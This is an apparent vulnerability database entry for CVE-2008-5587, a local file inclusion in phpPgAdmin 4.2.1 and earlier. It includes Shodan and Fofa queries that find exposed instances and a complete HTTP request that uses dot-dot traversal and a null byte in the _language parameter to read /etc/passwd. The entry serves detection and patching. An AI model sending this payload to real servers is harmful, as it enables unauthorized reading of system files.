🔙 목록으로 돌아가기

CVE-2008-5587: phpPgAdmin <=4.2.1 - Local File Inclusion

TitlephpPgAdmin <=4.2.1 - Local File Inclusion
AuthordhiyaneshDK
SeverityMedium
ImpactAn attacker can exploit this vulnerability to read sensitive files on the server and potentially execute arbitrary code.
RemediationUpgrade phpPgAdmin to a version higher than 4.2.1 or apply the necessary patches provided by the vendor.
CVSS Score4.3
EPSS Score0.01986
CVE IDCVE-2008-5587
CWE IDCWE-22
Shodan Queryhttp.title:"phpPgAdmin"http.title:phppgadmincpe:"cpe:2.3:a:phppgadmin_project:phppgadmin"
Fofa Querytitle=phppgadmin
Tags cve cve2008 lfi phppgadmin edb vuln

🔍 Vulnerability Description

phpPgAdmin 4.2.1 is vulnerable to local file inclusion in libraries/lib.inc.php when register globals is enabled. Remote attackers can read arbitrary files via a .. (dot dot) in the _language parameter to index.php.

🌐 HTTP Request

GET /phpPgAdmin/index.php?_language=../../../../../../../../etc/passwd%00 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2008/CVE-2008-5587.yaml

🦈 Packet Capture: ⬇️ Download cve-2008-5587.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A